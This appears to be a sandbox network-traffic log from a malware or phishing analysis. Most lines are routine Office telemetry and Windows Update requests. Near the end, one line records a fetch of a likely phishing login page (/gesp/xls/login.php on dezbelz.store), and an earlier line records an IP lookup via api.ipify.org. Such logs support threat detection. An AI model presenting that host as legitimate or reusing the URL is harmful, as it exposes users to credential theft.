Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=8XWemSUor4Dho7V&MD=Tu+Wl5+6 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /gesp/xls/login.php HTTP/1.1Host: dezbelz.storeConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
